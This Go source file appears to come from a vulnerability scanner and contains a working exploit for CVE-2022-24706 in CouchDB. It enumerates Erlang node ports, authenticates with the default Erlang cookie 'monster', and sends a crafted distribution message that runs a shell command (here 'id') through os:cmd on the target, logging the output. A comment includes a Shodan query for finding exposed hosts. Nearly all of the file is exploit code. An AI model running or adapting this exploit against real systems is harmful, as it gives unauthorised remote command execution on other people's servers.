package apache

import (
	"bufio"
	"bytes"
	"crypto/md5"
	"encoding/binary"
	"fmt"
	"github.com/asaskevich/govalidator"
	"log"
	"net"
	"net/url"
	"regexp"
	"strconv"
	"strings"
)

var (
	COOKIE          = "monster" // Default Erlang cookie for CouchDB
	ERLNAG_PORT     = 0
	EPM_NAME_CMD    = []byte("\x00\x01\x6e") // Request for nodes list
	NAME_MSG        = []byte("\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA")
	CHALLENGE_REPLY = []byte("\x00\x15r\x01\x02\x03\x04")
	CTRL_DATA       = []byte("\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex")
)

// 参考：https://docs.python.org/3/library/struct.html
func Compile_cmd(CMD string) []byte {
	MSG := []byte("\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00")
	MSG = append(MSG, []byte("\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k")...)

	// MSG += struct.pack(">H", len(CMD))
	bs := make([]byte, 2)
	binary.BigEndian.PutUint16(bs, uint16(len(CMD)))
	MSG = append(MSG, bs...)
	MSG = append(MSG, []byte(CMD)...)
	MSG = append(MSG, []byte("jw\x04user")...)

	PAYLOAD := []byte("\x70")
	PAYLOAD = append(PAYLOAD, CTRL_DATA...)
	PAYLOAD = append(PAYLOAD, MSG...)
	PAYLOAD = append(PAYLOAD, MSG...)
	bs = make([]byte, 4)
	// PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
	binary.BigEndian.PutUint32(bs, uint32(len(PAYLOAD)))
	PAYLOAD = append(bs, PAYLOAD...)
	return PAYLOAD
}

// Shodan: port:4369 "name couchdb at"
func CVE_2022_24706(szUrl string) {
	u, err := url.Parse(strings.TrimSpace(szUrl))
	if nil != err {
		log.Println("CVE_2022_24706 url.Parse error: ", err)
		return
	}
	conn, err := net.Dial("tcp", u.Host)
	if nil != err {
		log.Println("CVE_2022_24706 net.Dial error: ", err)
		return
	}
	defer conn.Close()
	w := bufio.NewWriter(conn)
	w.Write(EPM_NAME_CMD)
	w.Flush()
	var recv = make([]byte, 4)
	n, err := conn.Read(recv)
	if nil != err {
		log.Println("CVE_2022_24706 conn.Read error: ", err)
		return
	}
	if 0 == n || 4 <= n && 0 != bytes.Compare(recv[:4], []byte("\x00\x00\x11\x11")) {
		log.Println("conn.Read len: ", n)
		return
	}
	var recv1 = make([]byte, 1024)
	n, err1 := conn.Read(recv1)
	if nil != err {
		log.Println("CVE_2022_24706 conn.Read 2 error: ", err1)
		return
	}
	conn.Close()
	aPort := []int{}
	s1 := strings.Split(string(append(recv[4:], recv1[:n]...)), "\n")
	r1, err3 := regexp.Compile("(\\d+)")
	if nil != err {
		log.Println("CVE_2022_24706 regexp.Compile error: ", err3)
		return
	}
	for _, j := range s1 {
		d1 := r1.Find([]byte(j))
		if 0 < len(d1) {
			s0 := string(d1)
			if govalidator.IsInt(s0) {
				n0, err4 := strconv.Atoi(s0)
				if err4 != nil {
					continue
				}
				aPort = append(aPort, n0)
			}
		}
	}
	if 0 < len(aPort) {
		for _, n8 := range aPort {
			conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", u.Hostname(), n8))
			w := bufio.NewWriter(conn)
			if err != nil {
				continue
			}
			w.Write(NAME_MSG)
			w.Flush()
			recv = make([]byte, 100)
			nl, err2 := conn.Read(recv)
			if nil != err2 {
				conn.Close()
				continue
			}
			if 30 < nl {
				n2, err3 := conn.Read(recv1)
				if nil != err3 {
					conn.Close()
					continue
				}
				if 13 > n2 {
					conn.Close()
					continue
				}
				recv = append(recv, recv1...)[5:]
			} else {
				recv = recv[5:]
			}
			//	challenge = struct.unpack(">I", challenge[9:13])[0]
			// PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
			log.Println("conn.Read: ", string((recv)))
			datalen := binary.BigEndian.Uint32(recv[9:13])
			md51 := md5.New()
			md51.Write([]byte(COOKIE + fmt.Sprintf("%d", datalen)))
			w.Write(md51.Sum(nil))
			w.Flush()
			n, err = conn.Read(recv)
			// Authentication failed, exiting
			if 0 == n || nil != err {
				log.Println("conn.Read 142 ", err)
				conn.Close()
				continue
			}
			w.Write(Compile_cmd("id"))
			w.Flush()
			n, err = conn.Read(recv)
			// 只有控制数据
			if nil != err || 49 < n {
				conn.Close()
				continue
			}
			datalen = binary.BigEndian.Uint32(recv[:4]) - 45
			recv = recv[49:]
			log.Println(string(recv))
			datalen = datalen - uint32(len(recv))
			//  继续读取命令的其他数据
			for 0 < datalen {
				n, err = conn.Read(recv)
				if nil != err {
					break
				}
				log.Println(string(recv[:n]))
				datalen = datalen - uint32(len(recv))
			}
			conn.Close()
		}
	}
}
